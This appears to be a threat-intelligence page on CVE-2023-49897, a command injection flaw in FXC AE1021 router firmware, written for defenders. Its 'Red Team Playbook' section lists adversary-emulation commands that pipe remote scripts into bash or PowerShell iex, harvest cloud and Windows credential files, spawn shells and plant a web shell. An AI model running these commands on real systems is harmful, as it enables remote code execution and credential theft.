CVE-2023-49897
Overview
This vulnerability is an OS command injection flaw rooted in improper input validation within the AE1021PE and AE1021 firmware versions 2.0.9 and earlier. The affected component is the firmware's command processing mechanism that executes system-level commands based on user input. Specifically, the flaw arises from insufficient sanitization of input parameters passed to OS command execution functions, allowing injection of arbitrary commands by authenticated users.
Vulnerability Description
An OS command injection vulnerability exists in AE1021PE firmware version 2.0.9 and earlier and AE1021 firmware version 2.0.9 and earlier. If this vulnerability is exploited, an arbitrary OS command may be executed by an attacker who can log in to the product.
Impact
An attacker with valid login credentials can execute arbitrary operating system commands on the affected device, potentially leading to full system compromise. This enables unauthorized control over device functions, data manipulation, or disruption of services. The prerequisite is possession of a low-privileged user account, which is sufficient to exploit the flaw. This can result in lateral movement within the network, data exfiltration, or denial of service affecting business-critical operations.
Solution
FXC Inc. has released firmware updates addressing this vulnerability in AE1021PE and AE1021 devices, with fixed versions above 2.0.9. Users should apply the latest firmware as detailed in the FXC advisory dated December 6, 2023, available at https://www.fxc.jp/news/20231206. Additional guidance and mitigation steps are provided in the JVN and CISA ICS advisories linked in the references. No specific workarounds are noted; prompt firmware upgrade is recommended to remediate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the AE1021PE and AE1021 firmware versions allows for OS command injection, which poses a significant risk to the integrity and security of the affected systems. This type of vulnerability occurs when an application improperly sanitizes user input, allowing an attacker to execute arbitrary commands on the operating system. In this case, the flaw exists in the firmware of the devices, which can be exploited by any authenticated user who has access to the system. Once an attacker successfully injects malicious commands, they can manipulate the underlying operating system, potentially leading to unauthorized access, data exfiltration, or even complete system compromise.
The attack vectors for this vulnerability are particularly concerning due to the requirement for user authentication. An attacker must first gain access to the device, which could be achieved through various means, such as phishing, credential stuffing, or exploiting other vulnerabilities within the network. Once authenticated, the attacker can leverage the command injection flaw to execute arbitrary commands, which may include altering system configurations, installing malicious software, or accessing sensitive data stored on the device. This exploitation scenario highlights the critical need for robust access controls and monitoring to prevent unauthorized access to the firmware.
The real-world impact of this vulnerability can be profound, especially for organizations that rely on the affected devices for critical operations. The potential for data breaches, service disruptions, and damage to reputation can lead to significant business risks. For instance, if an attacker were to exfiltrate sensitive customer data or proprietary information, the organization could face legal repercussions, regulatory fines, and loss of customer trust. Additionally, the financial implications of remediation efforts, including incident response and system recovery, can strain resources and divert attention from other critical business functions.
To detect and mitigate the risk associated with this vulnerability, organizations should implement a multi-faceted approach. First, regular security assessments and penetration testing should be conducted to identify potential weaknesses in the firmware and overall system architecture. Additionally, organizations should ensure that they are running the latest firmware versions, as updates often include patches for known vulnerabilities. Employing intrusion detection systems (IDS) can help monitor for unusual activity that may indicate an attempted exploitation of the command injection flaw. Furthermore, implementing strict access controls, such as multi-factor authentication and role-based access, can significantly reduce the risk of unauthorized access to the affected devices.
In conclusion, the OS command injection vulnerability in the AE1021PE and AE1021 firmware presents a serious threat to organizations utilizing these devices. The potential for exploitation, coupled with the significant business risks involved, underscores the importance of proactive security measures. By adopting comprehensive detection and mitigation strategies, organizations can better protect their systems and data from the ramifications of this vulnerability. Continuous vigilance and a commitment to security best practices are essential in safeguarding against such threats in an increasingly complex cybersecurity landscape.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2023-49897, with telemetry indicating a significant uptick in attempts to leverage this OS command injection vulnerability in AE1021PE and AE1021 firmware. Although no new exploit techniques or ransomware associations have been identified, the sharp increase in detection frequency suggests growing interest or opportunistic probing by threat actors. This development heightens the urgency for defenders to maintain heightened monitoring of affected devices, as the increased activity could presage more targeted or automated exploitation campaigns. While the overall exploitability score remains stable, the surge in observed attempts elevates the practical risk environment, underscoring that the vulnerability continues to be actively probed in the wild and should be prioritized accordingly within organizational risk management frameworks.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Fxc | Ae1021 Firmware | All |
cpe:2.3:o:fxc:ae1021_firmware:*:*:*:*:*:*:*:*
|
|
|
Fxc | Ae1021pe Firmware | All |
cpe:2.3:o:fxc:ae1021pe_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
7 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
58%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
51%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-49897 |
| fxc.jp |
GitHub CVE
|
https://www.fxc.jp/news/20231206 |
| jvn.jp |
GitHub CVE
|
https://jvn.jp/en/vu/JVNVU92152057/ |
| cisa.gov |
GitHub CVE
|
https://www.cisa.gov/news-events/ics-advisories/icsa-23-355-01 |
| akamai.com |
GitHub CVE
|
https://www.akamai.com/blog/security-research/zero-day-vulnerability-spreading-mirai-patched |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-49897 |